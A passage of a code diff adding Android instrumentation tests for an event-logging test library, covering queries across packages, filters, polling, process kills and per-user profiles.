+    public void poll_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
     public void next_hasReturnedAllEvents_returnsNull() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -180,6 +340,16 @@
     }
 
     @Test
+    public void next_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
     public void poll_hasReturnedAllEvents_returnsNull() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -192,7 +362,17 @@
     }
 
     @Test
-    public void next_returnsNextUnseenEvent() {
+    public void poll_differentPackage_hasReturnedAllEvents_returnsNull() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_previouslyCalledNext_returnsNextUnseenEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
                 .setData(DATA_1)
@@ -209,6 +389,17 @@
     }
 
     @Test
+    public void next_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void next_previouslyPolled_returnsNextUnseenEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -226,6 +417,17 @@
     }
 
     @Test
+    public void next_differentPackage_previouslyPolled_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void poll_previouslyCalledNext_returnsNextUnseenEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -243,6 +445,17 @@
     }
 
     @Test
+    public void poll_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.next();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void poll_returnsNextUnseenEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -260,6 +473,17 @@
     }
 
     @Test
+    public void poll_differentPackage_returnsNextUnseenEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        eventLogs.poll();
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void get_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG2)
@@ -275,6 +499,17 @@
     }
 
     @Test
+    public void get_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
     public void next_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG2)
@@ -290,6 +525,17 @@
     }
 
     @Test
+    public void next_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
     public void poll_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG2)
@@ -305,6 +551,16 @@
     }
 
     @Test
+    public void poll_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
     public void get_multipleLoggedEvents_returnsFirstEvent() {
         CustomEvent.logger(CONTEXT)
                 .setData(DATA_1)
@@ -319,6 +575,16 @@
     }
 
     @Test
+    public void get_differentPackage_multipleLoggedEvents_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
     public void get_multipleCalls_alwaysReturnsFirstEvent() {
         CustomEvent.logger(CONTEXT)
                 .setData(DATA_1)
@@ -333,9 +599,18 @@
     }
 
     @Test
+    public void get_differentPackage_multipleCalls_alwaysReturnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.get();
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
     public void get_loggedAfter_returnsNull() {
-        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
-                .withTag(TEST_TAG1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
 
         scheduleCustomEventInOneSecond();
 
@@ -343,6 +618,15 @@
     }
 
     @Test
+    public void get_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
     public void next_loggedAfter_returnsNull() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
 
@@ -352,17 +636,40 @@
     }
 
     @Test
+    public void next_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
     public void poll_loggedAfter_returnsEvent() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
                 .withTag(TEST_TAG1);
 
         // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
         // as we're blocking for the event in this method
-        new Handler(Looper.getMainLooper()).postDelayed(() ->
-                        CustomEvent.logger(CONTEXT)
-                                .setTag(TEST_TAG1)
-                                .log(),
-                ONE_SECOND_DELAY_MILLIS);
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
 
         assertThat(eventLogs.poll()).isNotNull();
     }
@@ -382,6 +689,16 @@
     }
 
     @Test
+    public void next_differentPackage_loggedAfterPreviousCallToNext_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.next();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void poll_loggedAfterPreviousCallToPoll_returnsNewEvent() {
         CustomEvent.logger(CONTEXT)
                 .setData(DATA_1)
@@ -396,6 +713,16 @@
     }
 
     @Test
+    public void poll_differentPackage_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        eventLogs.poll();
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void next_calledOnSeparateQuery_returnsFromStartsAgain() {
         CustomEvent.logger(CONTEXT)
                 .setData(DATA_1)
@@ -403,7 +730,18 @@
         EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
         EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
 
-        assertThat(eventLogs1.next()).isEqualTo(eventLogs2.next());
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void next_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
     }
 
     @Test
@@ -414,14 +752,484 @@
         EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
         EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
 
-        assertThat(eventLogs1.poll()).isEqualTo(eventLogs2.poll());
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void poll_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+        EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs1.next()).isNotNull();
+        assertThat(eventLogs2.next()).isNotNull();
+    }
+
+    @Test
+    public void get_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void get_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+    }
+
+    @Test
+    public void poll_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysLambdaFilter() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysLambdaFilter() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()));
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void get_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void get_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.get();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void poll_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.poll();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void next_obeysMultipleLambdaFilters() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .log();
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG2)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_obeysMultipleLambdaFilters() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .filter(e -> TEST_TAG2.equals(e.tag()))
+                .filter(e -> DATA_1.equals(e.data()));
+
+        CustomEvent event = eventLogs.next();
+        assertThat(event.tag()).isEqualTo(TEST_TAG2);
+        assertThat(event.data()).isEqualTo(DATA_1);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void pollOrFail_hasEvent_returnsEvent() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_hasEvent_returnsEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void pollOrFail_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_noEvent_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_throwsException() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+    }
+
+    @Test
+    public void pollOrFail_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .setTag(TEST_TAG1)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void pollOrFail_differentPackage_loggedAfter_returnsEvent() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+        // as we're blocking for the event in this method
+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilled_stillReturnsLogs() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+        killTestApp();
+
+        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        assertThat(
+                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void differentUser_queryWorks() {
+        // TODO(scottjonathan): This tests on a profile because otherwise we can't start the
+        //  activity. Once ConnectedTests is available, replace this
+        // TODO(scottjonathan): Once bedstead-Marshall is ready, replace this setup/teardown with
+        // annotations
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void differentUser_doesntGetEventsFromWrongUser() {
+        UserHandle userHandle = createProfile();
+        try {
+            installTestAppInUser(userHandle);
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+            logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG2, /* data= */ null);
+
+            EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                    .onUser(userHandle);
+
+            assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+            assertThat(eventLogs.next()).isNull();
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    public void onUser_passesNullUser_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */ null));
+    }
+
+    @Test
+    public void incorrectUserHandle_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(NON_EXISTING_USER_HANDLE);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    @Test
+    public void incorrectPackageName_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    private UserHandle createProfile() {
+        UserManager userManager = CONTEXT.getSystemService(UserManager.class);
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        UserHandle userHandle = userManager.createProfile("profile",
+                UserManager.USER_TYPE_PROFILE_MANAGED, new HashSet<>());
+        SystemUtil.runShellCommandOrThrow("am start-user -w " + userHandle.getIdentifier());
+        return userHandle;
+    }
+
+    private void installTestAppInUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            CONTEXT.getPackageManager().installExistingPackageAsUser(
+                    TEST_APP_PACKAGE_NAME, userHandle.getIdentifier());
+
+        } catch (PackageManager.NameNotFoundException e) {
+            fail("Could not install test app in user", e);
+        }
+    }
+
+    private void removeUser(UserHandle userHandle) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.getSystemService(UserManager.class).removeUser(userHandle);
     }
 
     private void scheduleCustomEventInOneSecond() {
         hasScheduledEvents = true;
-        new Handler(Looper.getMainLooper()).postDelayed(() ->
-                        CustomEvent.logger(CONTEXT)
-                                .log(),
-                ONE_SECOND_DELAY_MILLIS);
+
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(CONTEXT)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
     }
+
+    private void logCustomEventOnTestApp(UserHandle userHandle, String tag, String data) {
+        Intent intent = new Intent();
+        intent.setPackage(TEST_APP_PACKAGE_NAME);
+        intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        intent.putExtra("TAG", tag);
+        intent.putExtra("DATA", data);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().adoptShellPermissionIdentity();
+        CONTEXT.startActivityAsUser(intent, userHandle);
+
+        CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(tag)
+                .withData(data)
+                .onUser(userHandle)
